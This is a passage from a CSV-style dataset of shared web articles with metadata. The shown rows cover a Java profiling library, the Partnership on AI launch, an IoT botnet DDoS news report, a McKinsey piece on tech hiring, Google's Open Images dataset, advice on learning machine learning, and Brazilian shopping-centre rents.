stopped. It has the same arguments as StartProfiling, except stageOrder. 3. MethodProfiling  - combination of StartProfiling and StopProfiling. It has exact same arguments as StartProfiling with one small remark. If stageName is empty then it will be generated from method's name and class. This is made in order to be able to use MethodProfiling without any arguments and get a meaningful result. Since Java 7 doesn't support repeatable annotations, I made group annotations for each of annotation above: As already mentioned, you can call start or stop profiling with a direct call: Arguments are exactly the same as in corresponding annotations, except enabled, of course. Logging Results By default Pury uses default logger, but it also allows you to set your own one. All you need to do is to implement Logger interface and set it via Pury.setLogger(). How to start using Pury? To start using Pury , you need to do two simple steps. First, apply AspectJ weaving plugin, there are more than one such a plugin out there. I'm using WeaverLite , Pury itself uses it as well. It is small and easy to configure. You can enable/disable it on a debug and/or release build. Default configuration looks like this. Second, include following dependencies: If you want to profile on release, then use compile instead of compileDebug for a second dependency. Small recommendation Managing more then 5 stages without a usage of constants could be time-wasting, so I always create a class where everything about one profiling scenario is centralised. It looks like this: As you can see, every ORDER constant depends on the parent's stage, it is very handy. You can also add a constant for runsCounter to be sure that you are always using the same one. If you add here an enabled flag then you can easily disable one particular scenario from a single place. Conclusion Pury is a concise profiling tool, that has only three annotations to work with and a bit of logic behind it. I hope you don't find it unreasonably complex. In case of problems you can always take a look into an example on GitHub . I would like to hear your opinion about this solution. If you have any suggestions please feel free to rise an issue on GitHub . You can also contact me via Gitter .",en
1475244034,CONTENT SHARED,4430520614172753870,-1443636648652872475,-3017099992833577541,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/09/28/facebook-amazon-google-ibm-and-microsoft-come-together-to-create-historic-partnership-on-ai/,"Facebook, Amazon, Google, IBM and Microsoft come together to create historic Partnership on AI","The world's largest technology companies hold the keys to some of the largest databases on our planet. Much like goods and coins before it, data is becoming an important currency for the modern world. The data's value is rooted in its applications to artificial intelligence. Whichever company owns the data, effectively owns AI. Right now that means companies like Facebook, Amazon, Alphabet, IBM and Microsoft have a ton of power. In an act of self-governance, these five companies came together today to announce the launch the new Partnership on AI . The group is tasked with conducting research and promoting best practices. Practically, this means that the group of tech companies will come together frequently to discuss advancements in artificial intelligence. The group also opens up a formal structure for communication across company lines. It's important to remember that on a day-to-day basis, these teams are in constant competition with each other to develop the best products and services powered by machine intelligence. Financial support will be coming from the initial tech companies that are members of the group, but in the future, membership and involvement is expected to increase. User activists, nonprofits, ethicists and other stakeholders will be joining the discussion in the coming weeks. ""We want to involve people impacted by AI as well,"" said Mustafa Suleyman, co-founder and head of applied AI at DeepMind, a subsidiary of Alphabet. The organizational structure has been designed to allow non-corporate groups to have equal leadership side-by-side with large tech companies. As of today's launch, companies like Apple, Twitter, Intel and Baidu are missing from the group. Though Apple is said to be enthusiastic about the project, their absence is still notable because the company has fallen behind in artificial intelligence when compared to its rivals - many of which are part of this new group. The new organization really seems to be about promoting change by example. Rather than preach to the tech world, it wants to use a standard open license to publish research on topics, including ethics, inclusivity and privacy. ""The power of AI is in the enterprise sector,"" said Francesca Rossi, an AI ethics researcher at IBM Research. ""For society at-large to get the benefits of AI, we first have to trust it."" The focus of the organization is a refreshing juxtaposition to more pop-culture discussions about the risks of artificial intelligence. While the jury is still out as to whether a singularity event could threaten mankind, we already face a long list of challenges in today's world of AI. While computers are not at a point yet where they can take all of our jobs, they can amplify the negative tendencies that humans already possess. A biased world can result in biased data sets and, in turn, bias artificial intelligence frameworks. To combat this, companies like Microsoft have already formed AI ethics advisory boards. But, rather than override existing efforts, the new group augments projects already undertaken at individual companies and provides a forum for sharing valuable advice. The group plans to make discussions and minutes from meetings publicly available. Additional reporting done by Josh Constine. Featured Image: Bryce Durbin/Bryce Durbin",en
1475245489,CONTENT SHARED,-6884335507424704154,3609194402293569455,-5496368543324600890,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.digitaltrends.com/computing/botnet-cameras-iot-attack/,"Largest botnet attack in history peaks at over 1 terabits per second, aided by Internet of Things","Security news site and blog KrebsonSecurity, was hit by the world's largest denial of service (DDOS) attack last week, with more than 620 gigabits per second hammering its servers into submission. While astounding in its own right, what's of more concern is the source: not infected PCs, but internet of things (IOT) devices like cameras and routers. But the attackers didn't stop there. Whoever was behind the DDOS was only just getting started. Since then we've seen assaults that peaked at over a terabit of data per second, with concerns that the botnet has the potential to deliver a further 50 percent more data if the timing is right. Although as Ars reports, these numbers have yet to be officially confirmed, the sources are rather reliable. It would be easy to dismiss them based on their extravagance, since to date, the largest recorded botnet attack threw 363 gigabits per second of data. However, considering we've now seen attacks in excess of three times that much, we would expect to see many more large-scale attacks in the near future. Related: Two Israeli teenagers arrested over vDOS DDoS-for-hire service The reason this was possible at all is because of the Internet of Things. IOT devices have long been considered a security hole in the technological landscape, as they so often operate under the radar, and so receive less scrutiny from users and security professionals. However, they often have the ability to upload a lot of data at once, so it's not always obvious when they're used as part of an attack like this one. We've seen hints of IOT devices like home routers being used in DDOS attacks before. The famous downing of the Xbox Live and PlayStation networks in 2015 was in part caused by botnet-connected home network hubs. Even if you do notice that your IOT device is behaving oddly, reclaiming control of your hardware may not always be easy. By their very nature IOT devices tend to operate behind the scenes, so they often have minimal interfaces or ability to change important settings. One preemptive security step people can take is to never put their hardware online at all. That may often defeat the point of a bit of smart tech and would of course be redundant for routers or similar devices, but there are a number of devices that don't really need to be connected online all the time. At the very least users should change their default passwords. Make them long, make them unique, and change them periodically to play it safe.",en
1475248014,CONTENT SHARED,4785499183287168509,1895326251577378793,-3146189188826702346,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.mckinsey.com/business-functions/digital-mckinsey/our-insights/the-new-tech-talent-you-need-to-succeed-in-digital,The new tech talent you need to succeed in digital,"In today's rapidly changing digital landscape, companies that understand their talent needs and know how to meet them have a competitive edge. Here's how they do it. While few would debate the importance of technology talent, its importance in successfully executing a digital transformation is often underappreciated. Over the next five years, large companies will invest, on average, hundreds of millions of dollars-and some more than a billion dollars-to transform their business to digital. And given that top engineering talent can, for example, be anywhere from three to ten times more productive than average engineers, acquiring top talent can yield double-digit investment savings by accelerating the transformation process by even 20 to 30 percent. Of course, such talent is hard to find. In the next five years, we expect the demand for talent to deliver on new capabilities to significantly outstrip supply : for agile skills, demand could be four times supply; for big-data talent, it could be 50 to 60 percent greater than projected supply. The new capabilities you need Understanding what talent is necessary starts with understanding what capabilities digital businesses need. While those will vary by market and geography, successful digital businesses share some common traits: they're focused on the customer, operate quickly, are responsive and agile, and can create proprietary insights. And given the rapid pace of change, companies will increasingly need to be able to engage with broader ecosystems encompassing a range of businesses and technologies as well as position themselves to take advantage of emerging artificial intelligence (AI) and the Internet of Things. That requires IT systems that can process massive amounts of data, continuously deliver new infrastructure environments in minutes, be flexible enough to integrate with outside platforms and technologies, and deliver exceptional customer experiences-all while maintaining core legacy IT systems. This way of working is much more dependent on the collective skills and strengths of a multidisciplinary agile team rather than on the heroics or talents of any one individual. In short, this reality means people not only need to have strong technical skills but also to be able to function well in teams. Poor team dynamics can crush even the most talented individuals. While there is a broad range of skills needed, this set should be part of any company's tech-talent list: Experienced designers and engineers. As customer experience becomes increasingly important, companies will need to invest in the tech talent to deliver those experiences. These roles often straddle IT and other functions, with experience designers in particular focused on getting at the heart of the customer through ethnographic research, human-centered design, and rapid test-and-learn cycles with customers. Partnering with experience designers are in-place front-end and mobile engineers who can rapidly translate exceptional designs and digital experiences into working software that can be tested and iterated. This approach to rapid prototyping places a premium on user input and flexible software that can respond quickly to user needs. Experience designers tend to wear multiple hats, from driving insights through customer research to running rapid test-and-learn programs in the field. They should have considerable experience creating and iterating products or services based on real customer interactions (i.e., not just data) and translating customer research, insights and ideas into solutions using design tools such as personas, empathy maps, and customer journeys (to name just a few). Front-end and mobile engineers are typically software engineers with three to five years' experience building high-performing, scalable, and elegant web and mobile user interfaces. They bring deep expertise in front-end web and mobile technologies that include browser-based HTML, CSS, and modern JavaScript frameworks (e.g., ReactJS, Angular.js, et cetera) and native mobile platforms on either iOS and/or Android. They should be comfortable creating ""imperfect"" code for the purpose of testing and have a clear understanding of how something will be used in the real world. In our experience, what separates a good from a great experience designer is the ability not only to focus on producing a sexy user interface but to be an advocate for the customer in solving customer-experience and design problems. This is someone who is motivated by customer empathy and can collaborate effectively with both product and engineering teams. Scrum masters and agility coaches. ""Agile development""-where software is rapidly developed in iterative cycles-is a core capability that drives the technology engine. Making the agile approach work relies on having ""scrum masters"" to manage teams during the development process. Scrum masters need great leadership and enabling skills, but also a deep understanding of technology and an ability to rapidly solve problems. As important as the scrum master is at the team level, to scale the agile culture across the broader organization, you need agility coaches. Think of them as Olympic trainers for the organization. They have strong communication and influencing skills, can create and roll out plans to support agile processes across the business, and put in place measurable key performance indicators (KPIs) and metrics to track progress. While it's desirable for scrum masters to be certified, it's more important that they understand the values and principles of agile (e.g., value-focused delivery, adapting to change, continuous improvement, et cetera) and have at least two to three years' experience training, coaching and working to build high-performing agile teams. They are people leaders with the ability to deal with conflict, influence ideas, and have empathy. It is helpful for them to have baseline knowledge of software engineering best practices to appreciate what goes into building high-quality software. Strong agility coaches have deep experience working as change agents to transform how an organization thinks and works. To be successful, they need to be comfortable coaching people across different functions and levels of the organization, including senior executives. They are focused on impact and build organizational muscle around measuring progress. In our experience, what separates a good from a great scrum master is the ability to be a great people leader. A good scrum master protects the team from distractions, but a great one finds the root cause of distractions and eliminates them. For an agility coach, it's building capabilities to help an organization create sustainable change. Product owners. This role is often referred to as the mini-CEO of a digital product. Product owners clearly define the vision of a product or service, are fully empowered to make decisions that deliver high business value, and are laser focused on KPIs to track progress. The product owners work directly with developers, engineers, experience designers, and other stakeholders in the business on a daily basis. They need to understand technology and user-experience issues in order to make the right tradeoffs in deciding on the product or service features to develop. Product owners are not just proxies for the business-unit leader to manage the project. They need to be empowered to make product decisions. Product owner can often be the hardest job on an agile team, and those who do it typically require four key skills to be successful: Vision: they can establish strategic vision for a product and align the organization around a clear view of what's required to achieve business success. Value focus: they possess a mini-CEO mind-set with a focus on delivering measurable business value, delighting the customer, and optimizing ROI. Decisiveness: they are natural problem solvers who make decisions and prioritize initiatives using data and facts rather than intuition and feeling. Product management: they typically have three to five years of strong product-management experience and a good sense for the intersection of business, user-experience design, and technology. In our experience, what separates a good from a great product owner is someone who has a strong sense of the complete product or service vision (and doesn't get lost in the details of its parts), the ability to inspire and influence people to deliver on the overall vision (not just his/her piece of the project), and is focused on enabling the team by, for example, helping it make the hard product decisions. Full-stack architects. These roles are particularly important in a more complex and rapidly changing technology landscape. The full-stack architect needs to be fluent across all technology components that include the web/mobile user interface, middleware microservices, and back-end databases, and have a ""spike"" (i.e., bring deep expertise) in one or more areas. As businesses increasingly engage with external ecosystems of technologies, full-stack architects can provide expertise in third-party packaged software, fluency in multiple best-of-breed technologies, and experience with multiple-technology integration strategies. Full-stack architects are generally hands-on developers with at least eight to ten years of software engineering experience and deep expertise with one to two core programming languages (e.g., Java, .NET, Node.js, et cetera). They also need to be knowledgeable and fluent across the different ""stacks"" of a large-scale software system (e.g., front-end user interface, middleware integration services, databases, et cetera). They are effective at linking the architectural vision with the business vision and building solutions that focus on business value, not just technical excellence. They have a deep understanding of how an architecture will need to evolve to meet changing business goals and like to produce working software as one of the best ways to illustrate a concept. In our experience, what separates a good from a great full-stack architect is not just the ability to provide technical excellence but also to embrace flexibility over building ""bulletproof"" systems. They are passionate learners who keep up with evolving technologies and techniques and are willing to experiment with them to test what would work for the business. Next-gen machine-learning engineers. As companies move toward machine learning, they need a new breed of software engineer who knows how to use data, can program in scalable computing environments (e.g., Cloud, Hadoop, et cetera), and understands how to refine the algorithms in their software code. They are fluent in distributed computing techniques, have experience using different machine-learning algorithms and applying them effectively (e.g., choosing the right model, deciding on learning procedures to fit the data, understanding different parameters that affect the learning, et cetera) and understanding the trade-offs with different approaches. They work closely with customer-data managers in particular, who use machine learning to collect and rationalize the massive amounts of data-from social media to purchase activities-to create comprehensive 3-D pictures of customers. They have a strong computer-science foundation to understand how to structure data and make efficient use of computing resources (e.g., memory, CPU, et cetera) when designing and implementing machine-learning algorithms. They also have a baseline knowledge of probability and statistics (e.g., regression, probability theory, et cetera) techniques as well as experience in data modeling and evaluating data sets for patterns, trends, and predictability. This capability is important since machine-learning algorithms rely on these data sets to learn and iterate. What really makes a great machine-learning engineer is the ability to understand how an idea goes from concept to delivered insight. Throughout this process, a great machine-learning engineer not only focuses on the technical solution but is also effectively a thought partner to the business on shaping the problem to be solved, the insights generated, and the continuous learning required to improve the solution. ""DevOps"" engineers. With the advancement of cloud computing and infrastructure as programmable software, infrastructure resources (e.g., networks, servers, storage, applications, and services) can now be rapidly provisioned, managed, and operated with minimal effort. To build and take advantage of these technology advancements, organizations need DevOps (the integration of development and operations) engineers who have the experience to navigate a rapidly changing development and cloud-infrastructure computing ecosystem. They can build out tools and automations that provide development teams with self-service and on-demand access and infrastructure resources at the click of a button (compared with today's traditional multiweek and months-long process to provision similar resources). DevOps engineers are generally software engineers with a passion to apply the same craftsmanship to IT infrastructure and operations. They typically have five to eight years of software-engineering experience and have now ventured into infrastructure-automation technologies (e.g., Chef, Puppet, et cetera), cloud platforms (e.g., AWS, Azure, et cetera), and more advanced containerization technologies (e.g., Docker). Besides technical excellence, DevOps engineers understand how technology serves business goals and are flexible in adapting approaches to changing business needs. What separates a good from a great DevOps engineer is the ability to role model the collaborative DevOps culture, think about infrastructure, and partner with the business to link solutions to real business problems. Finding and hiring the talent So now that you know what talent to look for, how do you find it? Any good talent strategy should focus on retaining and training existing talent, as well as on uncovering latent talent already in the business. But for the purposes of this article, we want to focus on how companies can acquire talent. In most companies, IT recruiting typically is a slow process: the HR department creates and posts a job description for a candidate role. If they're lucky, they find a midlevel employee in six months (and it'll take another four weeks until s/he is productive). For an organization undergoing an aggressive digital transformation, that's too slow. Discussions on Digital: The new war for talent Read the article We believe companies need to rethink their IT talent-acquisition strategy in six ways: 1. Build a compelling vision Money is important, of course, in attracting talent. But we've found that as long as the pay is competitive, an inspiring mission and value proposition is what motivates the best talent. This issue is particularly stark for large incumbents, which typically don't have quite the ""sex appeal"" of a start-up. We're seeing many inspiring examples of large traditional companies actively advertising and communicating their commitment to reinventing their brand for the digital age, such as General Electric's aspirations to be a top-ten software company by 2020. We've even seen candidates and new hires take significant pay cuts to join organizations that communicate a cohesive story about their digital transformation and vision. Companies need to make sure they can deliver on their promises. Large defections of people who find that the mission doesn't meet the reality will scuttle the best-intentioned hiring strategies. Effective strategies include creating ministart-ups within the business, with their own vision, reporting structures, career paths, and even cultures. 2. Make targeted 'anchor hires' Like attracts like, and that's true of top talent too. Therefore, many organizations have invested in anchor hires who are leaders in a particular discipline or industry. These anchor hires help attract other exceptional talent to the organization either through their personal networks and industry reputation or by signaling to the market how important that talent is. Companies should evaluate the networks of top talent, invest extra time, and involve senior business leadership in pursuing them. Attracting anchor hires often requires offering them significant influence in shaping the unit the business is building. One leading North American technology company looking to create a new innovation lab prioritized finding two to three key anchor hires for the design team. It focused on people from Google, Facebook, and noted design agencies to build up their design team from nearly zero to over 30 top people in less than 12 months. The anchor hires were leaders in these design organizations and quickly signaled to the market the company's commitment to design thinking and customer experience. It was able to triple the pace of hiring. 3. Reimagine recruiting What makes hiring new kinds of IT talent more complex is that those with the right profiles may not have a traditional résumé or be searching for employment or posting to traditional careers sites. To engage with these technologists requires targeting international community discussions such as Hacker News, Github, Stackoverflow and Reddit. Recruiters can locate top software programmers by looking through the source-code repositories that programmers proudly open up for anyone to review and use. To effectively engage with candidates in these new environments, companies often need to either retrain or acquire new recruiting capabilities to speak to candidates about relevant-and often very technical-topics in their industry, excite them about the opportunities in the organization, and assess whether the candidate would be a good fit. Top talent is often flooded with recruiter hits, and we have found it more effective and genuine to draft the best ""athletes"" (i.e., relevant tech stars) from within the organization to engage and recruit their peers or other technologists. An international bank, looking to build digital talent in a new market for its digital factory, used nontraditional platforms such as Github, Aevy, and LinkedIn to build a heat map of the talent concentration, tech-community events, start-up spaces, and skill mix in the market. The bank also developed a recruiting team that contained traditional recruiters as well as digital talent that candidates would want to work with, such as agile coaches, full-stack engineers, and experience designers. In addition to combing through the online platforms, communities, and postings, the new recruiting team attended and contributed to communities through meet-ups, presented at conferences, and hosted hackathon events. The multifaceted approach paid off: The bank hired 50 top professionals in six months, a 50 percent improvement over an already aggressive aspiration. 4. Create a network of digital-labor platforms Top talents know their value and have ready access to information about companies through online platforms such as Glassdoor, Hacker News, and StackOverflow, where employees share job satisfaction, company culture, and lifestyle information. To connect with these people, leading companies are creating their own sourcing platforms. Some are hosting online competitions that allow users and prospective candidates to showcase their technical skills through digital platforms such as TopCoder, Kaggle, Codility and HireIQ. Digital-talent platforms such as Good&Co and HackerRank are also helping companies more effectively assess a potential employee's match with the skill requirements and culture of the company. Recent McKinsey Global Institute research estimates that businesses deploying digital-talent platforms to their full potential could increase output by up to 9 percent, reduce employee-related costs by up to 7 percent, and add an average of 275 basis points to profit margins. 5. Build an ecosystem of vendor partners To effectively take advantage of the technology ecosystem, IT is shifting from having one or two primary vendors, as has traditionally been the case, to a broad array of external options that include traditional vendors, new partners, alliances, and crowd-sourcing. Engaging with a network of vendors also requires changes in skills certification and vendor-performance management. At the same time, the most productive relationships occur when these vendors are treated more like partnerships (exhibit). A leading international travel company, disrupted by start-ups in the market, decided it needed to build up and acquire new digital talent to drive its transformation. An important component of its strategy was to use specialized vendors to support different components of its ecosystem (for example, mobile, search engine, CRM, payments). The company updated its internal processes around procurement, legal, and billing, so that it could move more quickly and be more flexible in managing the variety of vendors. The impact of this approach was significant. By tapping into the right talent at the right time, the company was able to experience 20 to 25 percent improvements in time to market without increasing its vendor cost base. 6. Acqui-hiring talent To build up a talent set, it can make sense to acquire a start-up that has specific needed capabilities. Many companies have used this ""acqui-hire"" approach, but many end up having trouble meshing cultures. Isolating the start-up to preserve its culture can be a useful approach in the short term, but it only delays the inevitable. To address this issue, many companies are embracing a ""reverse takeover"" mind-set: A rotating team from the acquiring company begins to integrate and work with the start-up in a ""ring fenced"" environment that's separated from the standard business processes. This allows the organization to begin taking advantage of the newly acquired talent while also ""infecting"" the broader organization with the start-up one small group of teams at a time. One leading North American bank embraced the reverse-takeover approach for one of its start-up acquisitions. There was commitment from bank leadership to immediately begin cross-pollinating the start-up talent with those who were part of a new digital initiative already under way at the bank. The approach created an effective ""digital lighthouse"" for the bank and helped accelerate the first phase of the start-up's integration by three to six months. While technology isn't the only element of a successful digital transformation, it's one of the most important and complex. Getting it right means recognizing what sorts of new IT talent are necessary and changing the way the company goes about hiring it. About the author(s) Satty Bhens is a digital partner in McKinsey's New York office, Ling Lau is a digital vice president in the San Francisco office, and Hugo Sarrazin is a senior partner in the Silicon Valley office. The authors would like to thank Shweta Juneja for her help with this article. Article - McKinsey Quarterly",en
1475251376,CONTENT SHARED,-4673235524420943843,-8020832670974472349,-4733954943952378853,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.nianticlabs.com/blog/,Blog | Niantic,"With Google Cloud product and engineering teams at our side as consultative partners, Niantic was able to overcome the rush of millions of enthusiastic Trainers and stabilize the service. Engineering teams from both companies began working hand-in-hand around the clock the moment it became clear that the game's popularity would exceed our wildest estimates.",en
1475255123,CONTENT SHARED,-5154395767417065070,-1032019229384696495,-4436190914738794622,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.34 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/09/29/innovation-is-in-all-the-wrong-places/,Innovation is in all the wrong places,"I live a pretty cosmopolitan futuristic life atop a glass skyscraper in New York City, but I've yet to get a pizza delivered by drone, order a taxi from Alexa or open a hotel door with my smartwatch. I've also not booked a hotel from a bot (because trying that drove me crazy) nor consumed news from one, because that's a terrible way to do it. In a world where what's possible is advancing at breakneck speed, it's odd that British Airways has developed an emotionally aware smart blanket, but doesn't ""do"" email. It's strange that IKEA has VR to help you experience your kitchen, but struggles with the basics of e-commerce. My car rental company has invested millions in onsite video-calling kiosks, but their app loses 50 percent of the bookings I make. We've got the questions wrong. It shouldn't be how are you innovating or which project is doing new things, but why are you doing it and on what level. From pizza by emoji or bot or smartwatch, to emoji-inspired aubergine-flavored condoms, we're experiencing a very superficial type of innovation. It's something new, physically notable and at the edge of the relevant business. It's typically the product of a small innovation unit, primarily with the goal of a funky press release, a great photo call or something to talk about on the next earnings call. And, generally speaking, it's the wrong types of companies that are doing it. It's CPG companies with beloved products but perhaps little to talk about. Maybe having a brand worth billions and steady sales is a bit boring. So we have special editions, apps and direct e-commerce with dubious unit economics. We have mattress brands becoming publishers. Why? Because Conde Nast, The New York Times or Hearst make it look easy? Or wildly profitable? Every new SKU is disruptive or, better still, reimagined. Yet many companies must innovate, desperately. The TV industry is making better shows than they ever have, but is suffering because they have little understanding of modern consumer behavior and choice architecture. We've got airlines that use incredible technology to keep their fleets in the sky and on time, but who routinely fail in even the most basic communication functions. Let's stop thinking of technology as a trendy tattoo - a surface-level commitment best kept on a conspicuous but not often used part of the body. From car rental desks that look shocked when it's busy to hotels that can't tell you when your room will be ready and ask for credit card details three times, physical retailers need to adapt to a world in which online shopping has made people impatient, expecting to find things immediately - and to be served even faster. For all companies, innovation needs to be deeper. Not token gestures on the edge, but fundamental rewiring of business from the core. Imagine a business as an onion of concentric layers. On the outermost surface would be communications - how companies express themselves. Inside this would be marketing - the services, promotions, pricing and products made by the business. At the core, upon which everything else is built, are the business values, culture, processes and systems. Only the most superficial changes happen at the edge. It's easiest there, requires the least organizational effort and gets the most visibility. Launching an innovation lab or an incubation fund and a venture unit requires a few bodies in a trendy offsite office, even if they do nothing after the post-launch media hype wears off. Innovation at the marketing layer is interesting. It's GoPro and Dollar Shave Club, both pretty sizable changes to products or how they are sold, supplied and paid for. But while examples like this have huge valuations and momentum, it's not clear how groundbreaking they are. The real examples of innovation come from companies built for the modern age. They've taken new behaviors, new technology, new workflows and, above all else, new consumer expectations. Here we see the obvious examples like Uber or Airbnb, but also companies like Facebook, which has become a media owner of vast scale that does not actually make any content. Here you can compare the revenue and costs of Buzzfeed and compare it to an old-world company like Conde Nast. Let's consider Netflix relative to Blockbuster, but also Spotify compared to record shops, or Kodak and Instagram. The most rapidly grown companies in the modern age, like Tesla worth $30 billion, or Dropbox, Nest or WhatsApp, have smashed all known expectations of what's possible because they innovated at the core. For goodness sake, no more iBeacon-driven vending machines, no more 3D-printed trinkets. Technology will create vast and profound shifts. The mobile-first world has yet to really arrive. Mobile payments, digital wallets and the Internet of Things will create the best-ever canvas for business. Technologies like 5G, ultra-fast Wi-Fi, smart cities and other forms of ICT will form the architecture of the world in which businesses will operate. At the same time, people will change. Tolerance of waiting is already near-zero, same-day delivery is expected, as are free returns and UIs must be near-invisible and frictionless. Maybe you do need an innovation lab. Maybe working with startups is key. Maybe your organization needs impetus and expertise - but for goodness sake, no more iBeacon-driven vending machines, no more 3D-printed trinkets. Let's stop thinking of technology as a trendy tattoo - a surface-level commitment best kept on a conspicuous but not often used part of the body. Let's think of it as oxygen - essential to the beating heart of your business. Featured Image: Ian Cuming/Getty Images",en
1475257776,CONTENT SHARED,-7191607771634445823,-1443636648652872475,-3017099992833577541,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36",SP,BR,HTML,https://research.googleblog.com/2016/09/introducing-open-images-dataset.html,Introducing the Open Images Dataset,"In the last few years, advances in machine learning have enabled Computer Vision to progress rapidly, allowing for systems that can automatically caption images to apps that can create natural language replies in response to shared photos . Much of this progress can be attributed to publicly available image datasets, such as ImageNet and COCO for supervised learning, and YFCC100M for unsupervised learning. Today, we introduce Open Images , a dataset consisting of ~9 million URLs to images that have been annotated with labels spanning over 6000 categories. We tried to make the dataset as practical as possible: the labels cover more real-life entities than the 1000 ImageNet classes, there are enough images to train a deep neural network from scratch and the images are listed as having a Creative Commons Attribution license. The image-level annotations have been populated automatically with a vision model similar to Google Cloud Vision API . For the validation set, we had human raters verify these automated labels to find and remove false positives. On average, each image has about 8 labels assigned. Here are some examples: We have trained an Inception v3 model based on Open Images annotations alone, and the model is good enough to be used for fine-tuning applications as well as for other things, like DeepDream or artistic style transfer which require a well developed hierarchy of filters. We hope to improve the quality of the annotations in Open Images the coming months, and therefore the quality of models which can be trained. The dataset is a product of a collaboration between Google, CMU and Cornell universities, and there are a number of research papers built on top of the Open Images dataset in the works. It is our hope that datasets like Open Images and the recently released YouTube-8M will be useful tools for the machine learning community. * While we tried to identify images that are licensed under a Creative Commons Attribution license, we make no representations or warranties regarding the license status of each image and you should verify the license for each image yourself.",en
1475260591,CONTENT SHARED,-6244754482621048226,-1479311724257856983,1869712704090245532,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36",SP,BR,HTML,http://www.kdnuggets.com/2015/10/learning-machine-learning-quora.html,The Best Advice From Quora on 'How to Learn Machine Learning',"Top machine learning writers on Quora give their advice on learning machine learning, including specific resources, quotes, and personal insights, along with some extra nuggets of information. By Matthew Mayo . How do I learn machine learning? Straightforward question. Not-so-straightforward answer. There are obviously a number of ways to go about learning machine learning, with books, courses, and degree programs all being great places to start. Like any number of topics a newcomer may delve into, however, there are a vast number of options in each of these categories, and attempting to narrow one's focus alone can often prove futile. A Quora post, aptly titled ' How Do I Learn Machine Learning? ,' ends up being a robust resource. The FAQ has generated a lot of attention during the course of its life, with 93 answers and more than 468,000 views, and has contributions from a number of well-known personalities in the machine learning world. The idea of learning from others whom have previously undertaken the same task has special significance for the learning of machine learning. In this post we will take a look at advice from the top answers of the Quora post. We will find recommended courses and books relevant to learning machine learning, garner specific advice from experts, and see what other nuggets we can pick up along the way. As you look over this advice, don't forget to check our other fine learning material and resources, including a curated list of free data science books , collections of top data science and mathematics MOOCs , and a large number of advice posts and tutorials . Also keep in mind that, in contrast with many of the other educational resources on this site, this post deals solely with machine learning, and while a prominent component of data science, this advice is more narrowly-focused than some of the other data science learning materials. Our Advisors Our advisors today are the authors of the 3 most-upvoted FAQ answers, and come in the form of 3 well-known machine learning personalities: Top Book Recommendations Taken together, our advisors' recommendations compose a strong collection of introductory texts, covering statistical learning, the theoretical underpinnings of machine learning, and the practical implementation of algorithms and model-building in the most popular programming languages ( Python & R ) and framework ( Spark ). Xavier recommends : Raviteja recommends : Sean recommends : Top MOOC Recommendations It's nearly unanimous in most circles which machine learning MOOC is best for newcomers: Andrew Ng's Coursera offering. Beyond that, 2 other Coursera courses are also given specific mention. Incidentally, all 3 MOOC recommendations come from Xavier, with Sean co-signing the Ng selection.",en
1475266015,CONTENT SHARED,2617330491231854367,-1616903969205976623,-3124242612150372875,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/negocios/noticias/negociacao-deve-garantir-ocupacao-de-shoppings-ate-2017,Negociação deve garantir ocupação de shoppings até 2017 | EXAME.com,"São Paulo - Acordos entre lojistas e administradores de shopping centers , contemplando, entre outros fatores, descontos temporários em preços de aluguel, devem seguir favorecendo uma relativa estabilidade nas taxas de ocupação dos empreendimentos este ano e no começo de 2017. Apesar da melhora recente em indicadores de confiança tanto do consumidor como do empresariado, ainda são escassos os sinais de retomada efetiva do consumo dado o quadro ainda desafiador da economia brasileira, afirmam especialistas do setor. ""O que tem acontecido, mas em escala ainda bem fraca, é alguma diminuição na vacância em razão de acordos entre os empreendedores e os comerciantes, favorecendo os comerciantes com descontos (no aluguel de lojas) em razão da demanda fraca"", disse o diretor de relações institucionais da Associação Brasileira de Lojistas de Shopping (Alshop), Luis Augusto Ildefonso da Silva. Na visão dele, houve uma atenuação no ambiente de incertezas políticas, mas ainda são necessárias várias condições para a economia se reestruturar de modo a permitir uma melhora nos valores dos alugueis das lojas. ""Não há nenhum indicador, nenhuma previsão de quando essa situação econômica possa ser modificada"", disse Silva. No Brasil, há 549 shopping centers, conforme dados até setembro da Associação Brasileira de Shopping Centers (Abrasce), com mais de 100 mil lojas. Em 2015, o faturamento do setor, que tinha na época 538 empreendimentos, alcançou 151,5 bilhões de reais. O fluxo de clientes nesses centros de compras caiu 2,5 por cento em agosto em relação ao mesmo período do ano anterior, de acordo com o Iflux, indicador específico do mercado de shoppings, desenvolvido pelo IBOPE Inteligência e pela Mais Fluxo. Em números absolutos, isso significa que os 505 shoppings brasileiros considerados do levantamento deixaram de atrair 5,5 milhões de visitas no último mês, de acordo com a pesquisa. Números do segundo trimestre das maiores companhias que administram shopping centers no Brasil mostram que a taxa de ocupação oscilava entre 93,8 e 98,1 por cento, com piora marginal em relação ao primeiro trimestre na maioria dos casos. Com este cenário, a vice-presidente de Finanças e Diretora de Relações com Investidores da Iguatemi, Cristina Betts, avalia ser difícil imaginar que haverá menos descontos em alugueis no segundo semestre, até mesmo entrando em 2017. ""O fator preponderante para isso mudar é o aumento do consumo das famílias"", disse Betts, citando que, apesar da perspectiva de melhora da confiança, ainda há uma sequência de fatores para uma revisão significativa na política de descontos, incluindo a queda do desemprego. A executiva destacou, porém, que os descontos estão mais visíveis em empreendimentos ainda em maturação, enquanto nos shoppings mais maduros quase não há concessões. Mudança de mix De acordo com o diretor de relações com investidores da administradora Aliansce, Eduardo Prado, há uma 